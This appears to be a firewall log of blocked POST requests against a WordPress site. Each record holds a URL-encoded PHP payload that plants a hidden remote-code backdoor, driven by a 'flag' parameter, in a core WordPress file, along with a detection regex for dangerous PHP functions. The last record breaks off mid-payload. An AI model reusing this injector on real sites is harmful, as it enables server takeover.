["2026-05-12 10:49:01","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4778\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nRA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:03","144.76.215.54","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sa:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp2RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4778\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nsa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:06","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:4801\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%